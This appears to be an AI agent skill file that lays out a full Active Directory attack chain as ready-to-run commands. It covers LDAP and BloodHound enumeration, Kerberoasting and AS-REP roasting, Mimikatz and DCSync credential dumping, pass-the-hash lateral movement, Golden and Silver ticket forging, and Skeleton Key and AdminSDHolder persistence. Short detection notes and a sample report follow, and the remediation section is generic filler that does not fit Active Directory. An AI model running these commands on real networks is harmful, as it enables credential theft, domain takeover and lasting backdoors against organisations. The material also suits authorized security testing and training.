ShulkwiSEC/bb-huge / skills/curated/active-directory-full-attack-chain
active-directory-full-attack-chain
VerifiedExecute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via PsExec/WMI/DCOM, DCSync for NTDS extraction, and Golden/Silver ticket forging. Covers the full kill chain from domain user to domain admin.
Active Directory β Full Attack Chain
When to Use
- When conducting internal network penetration tests against Windows/AD environments
- When you have domain user credentials and need to escalate to Domain Admin
- During red team engagements targeting corporate Active Directory infrastructure
- When assessing AD security posture and attack paths
Prerequisites
- Domain user credentials (at minimum)
- Kali Linux or Windows attack machine on the same network
- Impacket toolkit (
pip install impacket) - BloodHound + Neo4j for attack path visualization
- CrackMapExec / NetExec for lateral movement
- Mimikatz or Rubeus for credential attacks
Workflow
Phase 1: Domain Enumeration
# Enumerate domain info with domain user creds
# LDAP enumeration
ldapdomaindump -u 'DOMAIN\user' -p 'Password123' dc.domain.local -o ldap_dump/
# Domain info via CrackMapExec
crackmapexec smb dc.domain.local -u user -p 'Password123' --pass-pol
crackmapexec smb 10.10.10.0/24 -u user -p 'Password123' --shares
# Enumerate users
crackmapexec smb dc.domain.local -u user -p 'Password123' --users
# Enumerate groups
crackmapexec smb dc.domain.local -u user -p 'Password123' --groups
# Using Impacket
GetADUsers.py -all domain.local/user:Password123 -dc-ip 10.10.10.1
# PowerView (if on Windows)
Import-Module .\PowerView.ps1
Get-DomainUser -Properties samaccountname,description | fl
Get-DomainGroup -AdminCount | Select-Object name
Get-DomainComputer -Properties name,operatingsystem | fl
Find-LocalAdminAccess
Phase 2: BloodHound β Attack Path Discovery
# Collect AD data with SharpHound
# From Windows:
.\SharpHound.exe -c All -d domain.local
# From Linux (bloodhound-python):
bloodhound-python -u user -p 'Password123' -d domain.local -dc dc.domain.local -c All
# Start Neo4j and BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Import the .zip data into BloodHound
# Key queries to run:
# - "Find Shortest Paths to Domain Admin"
# - "Find All Kerberoastable Accounts"
# - "Find Principals with DCSync Rights"
# - "Find Computers where Domain Users are Local Admin"
# - "Shortest Paths from Owned Principals"
Phase 3: Kerberos Attacks
# AS-REP Roasting (no pre-authentication required)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.hash
# Crack AS-REP hashes
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
# Kerberoasting (request service tickets for SPNs)
GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 -outputfile kerberoast.hash
# Crack Kerberos TGS hashes
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
# Using Rubeus (Windows)
.\Rubeus.exe kerberoast /outfile:kerberoast.hash
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash
# Kerbrute β username enumeration + password spraying
kerbrute userenum --dc dc.domain.local -d domain.local users.txt
kerbrute passwordspray --dc dc.domain.local -d domain.local users.txt 'Password123'
Phase 4: Credential Dumping
# Remote NTDS dump via secretsdump (if you have admin creds)
secretsdump.py domain.local/admin:AdminPass@dc.domain.local
# DCSync attack (requires replication rights)
secretsdump.py -just-dc domain.local/user:Password123@dc.domain.local
# Mimikatz (on compromised Windows machine)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords # Dump plaintext passwords from memory
sekurlsa::tickets # Dump Kerberos tickets
lsadump::dcsync /domain:domain.local /user:Administrator # DCSync
# LSASS dump (remotely)
crackmapexec smb target -u admin -p 'AdminPass' -M lsassy
# SAM/SYSTEM dump
crackmapexec smb target -u admin -p 'AdminPass' --sam
# DPAPI credential extraction
secretsdump.py -just-dc-user krbtgt domain.local/admin:AdminPass@dc.domain.local
Phase 5: Lateral Movement
# PsExec (ADMIN$ share)
psexec.py domain.local/admin:AdminPass@target.domain.local
# WMI Exec
wmiexec.py domain.local/admin:AdminPass@target.domain.local
# SMB Exec
smbexec.py domain.local/admin:AdminPass@target.domain.local
# DCOM Exec
dcomexec.py domain.local/admin:AdminPass@target.domain.local
# Evil-WinRM
evil-winrm -i target.domain.local -u admin -p 'AdminPass'
# Pass-the-Hash (use NTLM hash instead of password)
psexec.py domain.local/admin@target -hashes :NTLM_HASH_HERE
# CrackMapExec mass lateral movement
crackmapexec smb 10.10.10.0/24 -u admin -p 'AdminPass' -x 'whoami' --exec-method smbexec
# Over-Pass-the-Hash (convert NTLM to Kerberos TGT)
getTGT.py domain.local/admin -hashes :NTLM_HASH -dc-ip dc.domain.local
export KRB5CCNAME=admin.ccache
psexec.py domain.local/admin@dc.domain.local -k -no-pass
Phase 6: Domain Dominance
# Golden Ticket (requires krbtgt NTLM hash)
# Get domain SID
lookupsid.py domain.local/admin:AdminPass@dc.domain.local
# Forge Golden Ticket
ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXXX -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@dc.domain.local -k -no-pass
# Silver Ticket (service-specific)
ticketer.py -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXXX \
-domain domain.local -spn cifs/target.domain.local Administrator
# Skeleton Key (backdoor domain controller LSASS)
mimikatz.exe "privilege::debug" "misc::skeleton"
# Now ANY user can authenticate with password "mimikatz"
# AdminSDHolder persistence
# Modify AdminSDHolder ACL to grant yourself persistent admin access
# Domain trust exploitation
Get-DomainTrust
Get-ForestDomain
# Attack across trust boundaries with SID history injection
π΅ Blue Team Detection
- SIEM alerting: Monitor for DCSync (Event ID 4662 with replication GUIDs), Golden Ticket (Event ID 4769 with TGT lifetime anomalies), Kerberoasting (Event ID 4769 with RC4 encryption)
- Honey accounts: Create fake service accounts with SPNs and alert on authentication attempts
- LAPS: Deploy Local Administrator Password Solution to prevent lateral movement
- Privileged Access Workstations: Isolate admin credentials
- Tiered admin model: Separate Domain Admin, Server Admin, Workstation Admin
Key Concepts
| Concept | Description |
|---|---|
| Kerberoasting | Requesting TGS tickets for service accounts and cracking offline |
| AS-REP Roasting | Attacking accounts without Kerberos pre-authentication |
| DCSync | Mimicking domain controller replication to extract NTDS credentials |
| Golden Ticket | Forged TGT using krbtgt hash β unlimited domain access |
| Silver Ticket | Forged TGS for specific service β targeted access |
| Pass-the-Hash | Using NTLM hash directly for authentication without password |
| BloodHound | Graph-based AD attack path visualization tool |
Output Format
Active Directory Pentest Report
================================
Domain: CORP.DOMAIN.LOCAL
Domain Controllers: DC01, DC02
Forest Functional Level: Windows Server 2016
Attack Path Summary:
Initial Access: Domain User (jsmith) via password spray
β Kerberoasted svc_sql (cracked in 2 minutes)
β svc_sql is local admin on SQL01
β Credential dump on SQL01 β Domain Admin hash
β DCSync β Full NTDS.dit extraction
β 4,532 user accounts compromised
Critical Findings:
1. Kerberoastable service account with weak password (svc_sql: Summer2024!)
2. 47 users with "Do not require Kerberos pre-authentication" (AS-REP roastable)
3. Domain Users group has local admin on 12 servers
4. No LAPS deployed β same local admin password on all workstations
5. krbtgt password last changed: 2019 (Golden Ticket risk)
π‘οΈ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
π Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdβ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdβ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdβ Verified disclosed bounties by vulnerability class
References
- MITRE ATT&CK: Kerberos Attacks
- HackTricks: Active Directory Methodology
- Impacket: Tool Documentation
- BloodHound: Official Wiki
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